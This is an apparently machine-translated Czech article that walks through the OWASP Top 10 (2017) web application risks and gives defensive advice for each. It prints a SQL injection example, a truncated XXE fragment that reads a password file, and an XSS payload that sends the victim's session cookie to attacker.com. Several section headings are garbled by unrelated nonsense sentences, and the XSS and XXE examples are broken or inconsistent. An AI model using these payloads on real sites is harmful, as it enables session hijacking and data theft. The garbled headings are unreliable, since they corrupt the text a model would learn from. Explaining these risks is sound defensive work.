Top 10 Common Web Attacks: 10 nejčastějších útoků na webové stránky: První kroky k jejich ochraně

Běžná statistika, kterou často sdílejí profesionálové v oblasti InfoSec, zní: „78 % útoků je vedeno proti aplikaci.“

Neuplyne týden, aniž bychom neslyšeli o dalším masivním narušení nebo zranitelnosti, které postihují miliony uživatelů ve všech odvětvích. Ať už je toto číslo přesné, nebo je to ve skutečnosti jen 74 % (nebo spíše blíže 85 %), jedno je jasné: naše webové stránky jsou ohroženy, a pokud ty vaše ještě nebyly napadeny, je to jen otázka času a peněz (a motivace útočníků).

Jedním zajímavým aspektem, který má mnoho těchto útoků společný, je to, že nejsou vysoce technické a dosažitelné pouze pokročilými týmy hackerů sedících ve sklepě NSA. Nejčastějším zdrojem těchto útoků je skupina známá jako „script kiddies“, nevyškolení mladíci, kteří si jednoduše stáhnou z internetu automatizované sady nástrojů a pokusí se prolomit jakoukoli náhodnou stránku, která nabízí snadno zneužitelné nízko visící zranitelnosti. I zkušenější kyberzločinci začínají své první pokusy s použitím stejných sad nástrojů (nebo jejich mírně pokročilejších verzí).

Proč by nás to mělo zajímat? Protože to znamená, že nejčastější útoky a nejčastěji zneužívané zranitelnosti budou vždy prvním a nejslabším řetězcem naší obrany.

V důsledku toho to musí být také bod, na který soustředíme své počáteční úsilí při posilování této obrany. Naštěstí je to také místo, které lze nejsnáze otestovat a zajistit alespoň minimální úroveň zabezpečení.

Tyto běžné zranitelnosti shromáždili do seznamu „Top Ten“ přátelští dobrovolníci z OWASP – Open Web Application Security Project, celosvětové neziskové charitativní organizace zaměřené na zlepšování bezpečnosti softwaru.

Ačkoli tento seznam Top Ten není ve skutečnosti „kontrolním seznamem zabezpečení“, je to často první sada zranitelností, o které se útočníci pokusí. Stejně tak existuje nepřeberné množství automatizovaných nástrojů, které ve službách útočníků prohledají váš web a umožní jim rychle odhalit kritické chyby, které jim umožní přístup k vašim cennostem.

Tady je 10 největších bezpečnostních rizik aplikací podle OWASP, vydání 2017:

1. Injekce

Útočník může být schopen zmanipulovat vaši webovou aplikaci tak, aby změnila příkazy odesílané jejím subsystémům, a to pouhým odesláním chybně formulovaných požadavků s podvrženým nákladem. Nejznámějším z těchto útoků je SQL Injection, kdy uživatel vašeho webu může způsobit, že vaše aplikace změní tento:

select * from users where username=’AviD‘ and password=’1234′
na tento:
select * from users where username=’Admin‘

To útočníkovi umožní přihlásit se do vaší aplikace jako správce, aniž by znal heslo. Dalším využitím tohoto útoku by bylo ukradení tajemství (nebo peněz), změna dat, nebo dokonce vymazání všech stop po činnosti.

Další formy zahrnují LDAP Injection, XPath Injection, Command Injection, SMTP Injection – kdykoli aplikace spojí nedůvěryhodný vstup uživatele do příkazu, který je předán interpretu. Neobvyklá data mohou interpret obelstít a přimět ho ke spuštění nechtěných příkazů nebo k přístupu k datům bez řádného oprávnění.

Těmto útokům lze obvykle poměrně snadno zabránit dodržováním několika zásad:

• Všechny nedůvěryhodné vstupy ověřujte pomocí přístupu white-list, bez ohledu na jejich zdroj.
• Vždy přistupujte k databázi pouze pomocí parametrizovaných dotazů a uložených procedur, namísto spojování řetězcových dotazů.
• Ještě lépe je používat vhodnou knihovnu ORM (Object Relational Mapping) (například Hibernate, Entity Framework, ActiveRecord, abychom jmenovali alespoň některé, v závislosti na platformě).
• Omezte potenciální škody úspěšného zneužití omezením databázových oprávnění aplikace.

2. Zneužití databázových oprávnění. Porušené ověřování

Většina aplikací vyžaduje od svých uživatelů před použitím přihlášení, často pomocí kombinace uživatelského jména a hesla. V tomto systému ověřování existuje mnoho typů běžných chyb, které lze zneužít různými způsoby: slovníkové útoky, automatizované útoky hrubou silou, credential stuffing, session hijacking a další.

Útočník, kterému se podaří uhodnout platné heslo, by se mohl vydávat za daného uživatele a provést jakoukoli akci, kterou by byla schopna provést jeho oběť – aniž by bylo možné rozlišit mezi útočníkem a obětí.

Zabránit tomu vyžaduje vícevrstvý přístup:

• Změňte všechna výchozí hesla.
• Vynuťte všem uživatelům silná, náhodná hesla: nejméně 12 náhodných znaků bez omezení, nejlépe uložených ve správci hesel; nebo alternativně heslovou frázi s nejméně 5 náhodnými slovy.
• Omezte pokusy o přihlášení a po určitém počtu chybných hesel uživatelský účet na určitou dobu zablokujte.
• Používejte bezpečný správce relací platformy, který náhodně generuje dlouhé identifikátory relací a implementuje bezpečný životní cyklus relací.
• Chraňte hesla kryptografickým algoritmem „password hash“, například Bcrypt, scrypt nebo Argon2.

Zvažte také implementaci vícefaktorového ověřování, abyste zmírnili útoky založené na heslech, a neumožněte útočníkovi obejít heslo tím, že zná jméno vaší kočky na stránce „Forgot Password“. Existuje několik dalších podrobností, které mohou být relevantní v závislosti na konkrétní architektuře a kontextu.

3. Vystavení citlivých dat

Tajná data je obvykle třeba chránit šifrováním a dalšími kryptografickými algoritmy. Ta je však příliš často implementována, pokud vůbec, neúplně, což umožňuje útočníkům zmocnit se citlivých informací, ke kterým by neměli mít přístup, včetně hesel, kreditních karet, osobních údajů (PII) a dalších kritických obchodních dat.

Mezi časté nedostatky patří nešifrování dat; vytvoření vlastního šifrovacího schématu namísto standardních algoritmů a protokolů; použití slabých klíčů; vystavení šifrovacích klíčů; a nesprávná implementace protokolů, např.

Používání správných kryptografických kontrol (např. šifrování AES pro uložená data a TLS se zapnutým HSTS pro přenos) se správnými parametry by mělo dostatečně ochránit citlivá data v klidu i při přenosu.

4. Šifrovací algoritmy pro šifrování dat. Externí entity XML (XXE)

Často aplikace potřebují přijímat a zpracovávat dokumenty XML od uživatelů. Staré nebo špatně nakonfigurované parsery XML mohou v dokumentech XML povolit funkci známou jako odkazy na externí entity, které po vyhodnocení vloží obsah jiného souboru. Útočníci toho mohou zneužít ke čtení důvěrných dat, přístupu k interním systémům a dokonce k vypnutí aplikace v rámci útoku typu DoS (Denial of Service).

Například dokument XML obsahující toto:

]>&xxe;

by obsahoval obsah souboru s heslem uvnitř dokumentu XML.

Tomu lze zabránit jednoduchým zakázáním vyhodnocování DTD a externích entit v parseru nebo přechodem na moderní knihovnu parseru, která není zranitelná.

5. V případě, že se v parseru vyskytne nějaká chyba, je možné ji odstranit. Nefunkční řízení přístupu

Většina webových aplikací omezuje, co mohou uživatelé vidět nebo dělat, ať už se jedná o přístup k osobním údajům jiného uživatele nebo k zakázané oblasti.

Mezinformace řízení přístupu, které tato omezení vynucují, jsou však obvykle implementace na míru a často hluboce chybné. Útočníci mohou tyto kontrolní mechanismy obejít nebo je zneužít k přístupu k neautorizovaným funkcím nebo datům, například k přístupu k účtům jiných uživatelů, k prohlížení citlivých souborů, k úpravě dat jiných uživatelů, k provádění administrátorských akcí a podobně.

Oprava a prevence chyb v řízení přístupu však vyžaduje systémový pohled. Je nutné provést kompletní a hloubkovou kontrolu všech funkcí aplikace, systémových požadavků, uživatelských rolí a dalších omezení. V závislosti na požadavcích lze použít různé běžné modely. Mezi nejběžnější patří řízení přístupu na základě rolí (RBAC), diskreční řízení přístupu (DAC) a řízení přístupu na základě integrity nebo povinné řízení přístupu (MAC).

Další, více specializované modely mohou být založeny na atributech (ABAC), politice (PBAC), kontextu (CBAC) a klasifikaci (existuje několik modelů, zejména v DoD), stejně jako různá další vlastní schémata. Je důležité dobře navrhnout model řízení přístupu tak, aby jej bylo možné jednotně aplikovat a efektivně spravovat. Vycházejte ze zásady nejmenšího oprávnění a autorizujte pouze tam, kde je to nezbytné.

V mnoha systémech je navíc třeba zvážit uplatnění kontroly přístupu k osobním údajům uživatelů z hlediska ochrany osobních údajů. Ještě důležitější je přiměřeně chránit soukromí uživatelů a zabránit přístupu bez souhlasu, zejména ve světle aktualizace nařízení GDPR v EU.

6. Zkontrolujte, zda je v souladu se zákonem o ochraně osobních údajů. Špatná konfigurace zabezpečení

Servery a aplikace mají mnoho pohyblivých částí, které je třeba správně nakonfigurovat. To platí na všech úrovních aplikačního zásobníku, od operačního systému a síťových zařízení až po webový server a samotnou aplikaci.

Při výchozí, neúplné nebo ad hoc konfiguraci mohou zůstat nechráněné soubory, povolená výchozí hesla, otevřené cloudové služby a únik citlivých informací prostřednictvím chybových zpráv nebo hlaviček HTTP, stejně jako řada dalších nezabezpečených nastavení, která mohou útočníkovi umožnit získat přístup k systému nebo datům.

Přirozeně neexistuje jediné nastavení, které by této zranitelnosti zabránilo. Je třeba zkontrolovat všechna potenciálně zranitelná nastavení. Nezapomeňte, že sem patří také včasné aktualizace a záplaty systému!“

7. Cross-Site Scripting (XSS)

Pomocí XSS může útočník upravit webové stránky, které vidí ostatní uživatelé vaší aplikace, ať už za účelem krádeže informací, jako jsou hesla a kreditní karty, šíření falešných dat, převzetí uživatelských relací, přesměrování na jiný web nebo spuštění škodlivých skriptů v prohlížeči oběti.

Tato zranitelnost může nastat vždy, když jsou do webové stránky nebo odpovědi zahrnuta nedůvěryhodná data bez řádné validace nebo sanitizace. Útočník může odeslat formuláře s fragmenty HTML nebo JavaScript, které budou vloženy přímo do stránky a vykresleny prohlížečem.

Například tento kód serveru:

response.write(„Dobrý den, “ + request.getParameter(„Name“));

vloží parametr Name uživatele přímo do výstupu. To má vrátit následující stránku, pokud se uživatel jmenuje „John“:

Dobré ráno, Johne

Na místo toho může útočník injektovat škodlivý payload:

Dobré ráno, šéfdokument.location=’http://attacker.com/?cookie=’+document.cookie

který bude spuštěn prohlížečem uživatele, odešle útočníkovi jeho soubor cookie relace a umožní útočníkovi převzít relaci.

Hlavní ochranou proti útokům XSS je použití správného kódování. Kódování HTML například změní všechny „speciální“ znaky na entity HTML tak, že se uživateli zobrazí stejně, ale analyzátor je nerozpozná jako platné značky HTML. Existují však i jiné formy kódování, které by měly být použity v závislosti na konkrétním kontextu výstupu dat – např. kódování atributů, kódování JavaScriptu, kódování CSS atd. Většina moderních webových platforem poskytuje tuto funkci automaticky nebo jako volání funkce a pro ty, které ji neposkytují, existuje spousta bezpečnostních knihoven.

Dále je dobré implementovat zásady zabezpečení obsahu (Content Security Policy, CSP), aby se zabránilo vykreslení útoku XSS, který prošel prohlížečem. Také nakonfigurujte soubory cookie relace (buď v kódu aplikace, nebo v konfiguraci webového serveru) tak, aby obsahovaly atribut HttpOnly, čímž zabráníte úspěšným útokům XSS v převzetí relací uživatelů.

8. V případě, že se vám nepodařilo dosáhnout úspěchu, můžete se obrátit na webový server. Nezabezpečená deserializace

Nejnovější přírůstek do tohoto seznamu, nezabezpečená deserializace, může umožnit útoky typu injection a zvýšení oprávnění a v určitých situacích dokonce vést ke vzdálenému spuštění kódu a převzetí serveru.

Mnoho aplikací potřebuje serializovat objekty a data do formátu, který lze snadno přenášet po kabelu, nebo dokonce persistovat do souboru. Když aplikace obnoví tyto objekty zpět do paměti deserializací formátovaných dat přijatých od uživatele, může být možné manipulovat s pamětí objektu, a dokonce způsobit spuštění libovolné funkce.

Nejlepší způsob, jak se vyhnout nezabezpečené deserializaci, je vůbec nikdy nedeserializovat objekty z nedůvěryhodných dat! Pokud je to možné, je mnohem lepší se nativním deserializačním formátům zcela vyhnout a místo toho dát přednost datovému formátu, jako je XML nebo JSON.

Pokud je nutné deserializovat z nativního formátu, schopnost provést to bezpečně vyžaduje porozumění vnitřnostem vašeho programovacího jazyka. V závislosti na tom, v jakém jazyce byla vaše aplikace vytvořena, jsou k bezpečnému provedení zapotřebí různé kroky. Například v jazyce Java můžete vytvořit podtřídu třídy java.io.ObjectInputStream. Kromě toho se doporučuje deserializovat pouze z dat, která vaše aplikace digitálně podepsala.

9. V případě, že je to možné, je třeba provést deserializaci z dat, která vaše aplikace digitálně podepsala. Používání komponent se známými zranitelnostmi

Moderní software již není vytvářen jako monolit – vždy se spoléhá na stále větší množství komponent třetích stran, frameworků a open source knihoven. Jakékoli známé zranitelnosti nalezené v těchto závislostech mohou přímo ovlivnit i vaši vlastní aplikaci! Někdy to vede k dalším zranitelnostem z tohoto seznamu, jako je injekce, vzdálené spuštění kódu nebo jiná chyba, která může útočníkům umožnit přístup k citlivým datům nebo akcím.

Nedávno byl právě takový problém zaviněn masivním narušením bezpečnosti společnosti Equifax, kde nebyla nainstalována záplata pro Apache Struts2. Místo toho zůstali u verze, o které bylo známo, že umožňuje vzdáleným útočníkům provádět libovolné příkazy.

Nejlepším způsobem, jak se vyhnout pádu do této pasti, je zkontrolovat všechny závislosti (včetně přechodných závislostí) a zjistit, zda některá z nich není aktuálně zranitelná. Implementujte proces, který zajistí, že vaše aplikace po otestování vždy stáhne nejnovější stabilní verze všech závislých knihoven a komponent. Ve skutečnosti v současné době existuje řada komerčních nástrojů, které toto mohou sledovat za váš tým, stejně jako bezplatný nástroj Dependency-Check od OWASP.

10. Zjistěte, zda se vám to podařilo. Nedostatečné protokolování & Monitorování

Přestože se snažíme, aby naše systémy byly odolné proti všem možným útokům, musíme se reálně smířit s tím, že některé útoky přes naši ochranu projdou. Odolná obrana by však měla zahrnovat několik vrstev. Patří sem i možnost odhalit ty útoky, které přes veškerou naši snahu uspěly, a to pokud možno co nejdříve.

To by mohlo organizaci ještě umožnit se z útoku zotavit, nebo dokonce co nejvíce minimalizovat škody. Mechanismus protokolování a monitorování v kombinaci s účinnou reakcí na incidenty může zabránit útočníkům, aby se otáčeli k dalším interním zdrojům, trvale se usadili v organizaci a zabránit jim v krádeži nebo změně ještě většího množství dat.

Zavedení společného mechanismu protokolování pro celou aplikaci. Nejlepší je použít existující knihovnu, například log4J, ale není to nutné. Mechanismus protokolování by měl shromažďovat všechny akce iniciované uživatelem, chyby běhu a další citlivé události. Zajistěte, aby byla data protokolu dobře chráněna, a nezapomeňte správcům poskytnout rozhraní pro vyhledávání a prohlížení!“

Dobrou zprávou je, že většina těchto problémů je poměrně jednoduchá a lze jim snadno předcházet, pokud víte, na co se zaměřit. Ačkoli tedy nejde o vyčerpávající seznam všech bezpečnostních problémů, kterým byste měli věnovat pozornost, rozhodně jde o jedno z nejlepších míst, kde začít svou výpravu za chráněným webem!